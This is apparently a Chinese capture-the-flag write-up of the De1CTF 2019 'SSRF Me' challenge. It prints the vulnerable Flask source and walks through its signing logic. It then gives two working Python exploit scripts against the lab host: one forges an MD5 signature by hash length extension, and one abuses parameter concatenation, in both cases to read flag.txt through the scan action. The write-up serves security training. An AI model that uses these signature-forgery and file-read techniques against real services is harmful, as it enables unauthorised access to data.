[De1CTF 2019]SSRF Me
打开即获得源码,使用python写的:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
首先看三个路由:
/geneSign
首先由GET方式获得param的值,然后action=“scan”,传入getSign返回,看一下getSign函数:
getSign()
就是返回md5(secert_key + param + action),也就是生成一个签名
/De1ta
首先,action和sign分别从cookie中获取对应的值,param由GET传参获取值
而且param要经过waf这个函数检验
waf()
param不能以gopher或file开头,也就是不让我们用这两个协议读文件,回到路由
将action, param, sign, ip作为参数生成一个Task类,最后调用Task类下的Exec方法,json格式返回
第三个路由:
/
只是输出源码:
重点看Task类:
首先是__init__方法,初始化赋值并以ip创建一个沙盒
然后是Exec方法:
首先31行调用checkSign检查签名是否一致:
进入判断:
看一下scan方法:读文件
假设我们param传入flag.txt,会把flag写到result.txt里,继续
那么只要我们的action中又有scan又有read,但是如果这样那么签名就会不一致,因为在/geneSign
路由中action是写死的,为scan:
我们不知道密钥的值,不能自己构造一个又有scan又有read并且值与只有scan相同的值
所以这里要用哈希长度拓展攻击,hashpump
先访问/geneSign?param=flag.txt
路由得到签名
用hashpump生成:
得到一个伪造的签名和action的值,exp:
import requests
url = 'http://e29ed022-2592-48de-8195-a34de141715c.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': '6d634a2c385c75450818b8630eade2b5',
'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read'
}
result = requests.get(url=url, cookies=cookies)
print(result.text)
不过这里好像有另外一种简单的方法==
访问/geneSign?param=flag.txtread
这样签名就变成了:
md5(secert_key + 'flag.txtread' + 'scan')
然后只要在/De1ta
路由中令sign=a8c39168ce7533e8cf21eb018f6a740e,然后action=readscan,再一次加密验证结果是一样的,exp:
import requests
url = 'http://e29ed022-2592-48de-8195-a34de141715c.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': 'a8c39168ce7533e8cf21eb018f6a740e',
'action' : 'readscan'
#'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read'
}
result = requests.get(url=url, cookies=cookies)
print(result.text)